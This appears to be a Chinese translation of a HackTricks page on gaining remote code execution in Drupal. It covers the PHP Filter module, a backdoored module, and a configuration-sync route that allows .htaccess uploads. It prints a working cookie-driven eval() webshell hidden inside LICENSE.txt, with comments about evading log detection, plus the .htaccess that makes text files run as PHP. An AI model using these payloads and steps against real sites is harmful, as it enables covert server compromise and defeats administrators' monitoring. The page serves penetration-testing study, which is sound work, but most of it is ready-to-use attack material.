mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
8.9 KiB
Markdown
228 lines
8.9 KiB
Markdown
# Drupal RCE
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## 使用 PHP 过滤器模块
|
||
|
||
> [!WARNING]
|
||
> 在旧版本的 Drupal **(8 之前)**,可以以管理员身份登录并 **启用 `PHP filter` 模块**,该模块“允许嵌入的 PHP 代码/片段被评估。”但从版本 8 开始,该模块默认未安装。
|
||
|
||
1. 访问 **/modules/php**,如果返回 403 错误,则 **PHP 过滤器插件已安装,可以继续**
|
||
1. 如果没有,转到 `Modules` 并勾选 `PHP Filter` 的框,然后点击 `Save configuration`
|
||
2. 然后,为了利用它,点击 `Add content`,选择 `Basic Page` 或 `Article`,并编写 **PHP 后门**,然后在文本格式中选择 `PHP` 代码,最后选择 `Preview`
|
||
3. 要触发它,只需访问新创建的节点:
|
||
```bash
|
||
curl http://drupal.local/node/3
|
||
```
|
||
## 安装 PHP Filter 模块
|
||
|
||
> [!WARNING]
|
||
> 在当前版本中,仅通过访问网页在默认安装后安装插件已不再可能。
|
||
|
||
从 **8 版本开始,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块默认不安装**。要利用此功能,我们必须 **自己安装模块**。
|
||
|
||
1. 从 Drupal 网站下载模块的最新版本。
|
||
1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
|
||
2. 下载完成后,前往 **`Administration`** > **`Reports`** > **`Available updates`**。
|
||
3. 点击 **`Browse`**,从我们下载的目录中选择文件,然后点击 **`Install`**。
|
||
4. 模块安装完成后,我们可以点击 **`Content`** 并 **创建一个新的基本页面**,类似于我们在 Drupal 7 示例中所做的。再次确保 **从 `Text format` 下拉菜单中选择 `PHP code`**。
|
||
|
||
## 后门模块
|
||
|
||
> [!WARNING]
|
||
> 在当前版本中,仅通过访问网页在默认安装后安装插件已不再可能。
|
||
|
||
可以 **下载** 一个 **模块**,添加一个 **后门** 并 **安装** 它。例如,下载 [**Trurnstile**](https://www.drupal.org/project/turnstile) 模块的压缩格式,在其中创建一个新的 PHP 后门文件,允许通过 `.htaccess` 文件访问 PHP 文件:
|
||
```html
|
||
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
|
||
```
|
||
然后访问 **`http://drupal.local/admin/modules/install`** 来安装后门模块,并访问 **`/modules/turnstile/back.php`** 来执行它。
|
||
|
||
## 使用配置同步对Drupal进行后门植入 <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||
|
||
**帖子由** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90) 分享
|
||
|
||
### 第1部分(激活 _Media_ 和 _Media Library_)
|
||
|
||
在 _Extend_ 菜单 (/admin/modules) 中,您可以激活看似已经安装的插件。默认情况下,插件 _Media_ 和 _Media Library_ 似乎未被激活,因此让我们激活它们。
|
||
|
||
激活前:
|
||
|
||
<figure><img src="../../../images/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
激活后:
|
||
|
||
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### 第2部分(利用功能 _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||
|
||
我们将利用 _Configuration synchronization_ 功能来转储(导出)和上传(导入)Drupal 配置条目:
|
||
|
||
- /admin/config/development/configuration/single/export
|
||
- /admin/config/development/configuration/single/import
|
||
|
||
**补丁 system.file.yml**
|
||
|
||
让我们从补丁第一个条目 `allow_insecure_uploads` 开始:
|
||
|
||
文件:system.file.yml
|
||
```
|
||
|
||
...
|
||
|
||
allow_insecure_uploads: false
|
||
|
||
...
|
||
|
||
```
|
||
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
到:
|
||
|
||
文件:system.file.yml
|
||
```
|
||
|
||
...
|
||
|
||
allow_insecure_uploads: true
|
||
|
||
...
|
||
|
||
```
|
||
<figure><img src="../../../images/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**修补 field.field.media.document.field_media_document.yml**
|
||
|
||
然后,将第二个条目 `file_extensions` 从:
|
||
|
||
File: field.field.media.document.field_media_document.yml
|
||
```
|
||
|
||
...
|
||
|
||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
||
...
|
||
```
|
||
<figure><img src="../../../images/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
到:
|
||
|
||
文件:field.field.media.document.field_media_document.yml
|
||
```
|
||
...
|
||
|
||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
||
...
|
||
|
||
```
|
||
> 我在这篇博客中没有使用它,但需要注意的是,可以以任意方式定义入口 `file_directory`,并且它容易受到路径遍历攻击(因此我们可以在Drupal文件系统树中向上返回)。
|
||
|
||
<figure><img src="../../../images/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### 第3部分(利用功能 _添加文档_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||
|
||
最后一步是最简单的,分为两个子步骤。第一个是上传一个 .htaccess 格式的文件,以利用Apache指令并允许 .txt 文件被PHP引擎解释。第二个是上传一个包含我们有效载荷的 .txt 文件。
|
||
|
||
文件: .htaccess
|
||
```
|
||
<Files *>
|
||
SetHandler application/x-httpd-php
|
||
</Files>
|
||
|
||
# Vroum! Vroum!
|
||
# We reactivate PHP engines for all versions in order to be targetless.
|
||
<IfModule mod_php.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
<IfModule mod_php7.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
<IfModule mod_php5.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
```
|
||
这个技巧为什么很酷?
|
||
|
||
因为一旦 Webshell(我们称之为 LICENSE.txt)被放置到 Web 服务器上,我们可以通过 `$_COOKIE` 传输我们的命令,并且在 Web 服务器日志中,这将显示为对文本文件的合法 GET 请求。
|
||
|
||
为什么将我们的 Webshell 命名为 LICENSE.txt?
|
||
|
||
简单来说,如果我们以以下文件为例 [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)(该文件已经存在于 Drupal 核心中),我们有一个 339 行和 17.6 KB 大小的文件,这非常适合在中间添加一小段 PHP 代码(因为文件足够大)。
|
||
|
||
<figure><img src="../../../images/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
文件:已修补的 LICENSE.txt
|
||
```txt
|
||
|
||
...
|
||
|
||
this License, you may choose any version ever published by the Free Software
|
||
Foundation.
|
||
|
||
<?php
|
||
|
||
# We inject our payload into the cookies so that in the logs of the compromised
|
||
# server it shows up as having been requested via the GET method, in order to
|
||
# avoid raising suspicions.
|
||
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||
} else {
|
||
phpinfo();
|
||
}
|
||
}
|
||
|
||
?>
|
||
|
||
10. If you wish to incorporate parts of the Program into other free
|
||
programs whose distribution conditions are different, write to the author
|
||
|
||
...
|
||
|
||
```
|
||
#### **第 3.1 部分 (上传文件 .htaccess)**
|
||
|
||
首先,我们利用 _Add Document_ (/media/add/document) 功能上传包含 Apache 指令的文件 (.htaccess)。
|
||
|
||
<figure><img src="../../../images/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**第 3.2 部分 (上传文件 LICENSE.txt)**
|
||
|
||
然后,我们再次利用 _Add Document_ (/media/add/document) 功能上传隐藏在许可证文件中的 Webshell。
|
||
|
||
<figure><img src="../../../images/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### 第 4 部分 (与 Webshell 交互) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||
|
||
最后一部分是与 Webshell 进行交互。
|
||
|
||
如以下截图所示,如果我们的 Webshell 期望的 cookie 未定义,我们在通过 Web 浏览器查询文件时会得到后续结果。
|
||
|
||
<figure><img src="../../../images/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
当攻击者设置 cookie 时,他可以与 Webshell 交互并执行任何他想要的命令。
|
||
|
||
<figure><img src="../../../images/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
正如您在日志中看到的,似乎只请求了一个 txt 文件。
|
||
|
||
<figure><img src="../../../images/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
感谢您花时间阅读这篇文章,希望它能帮助您获取一些 shell。
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|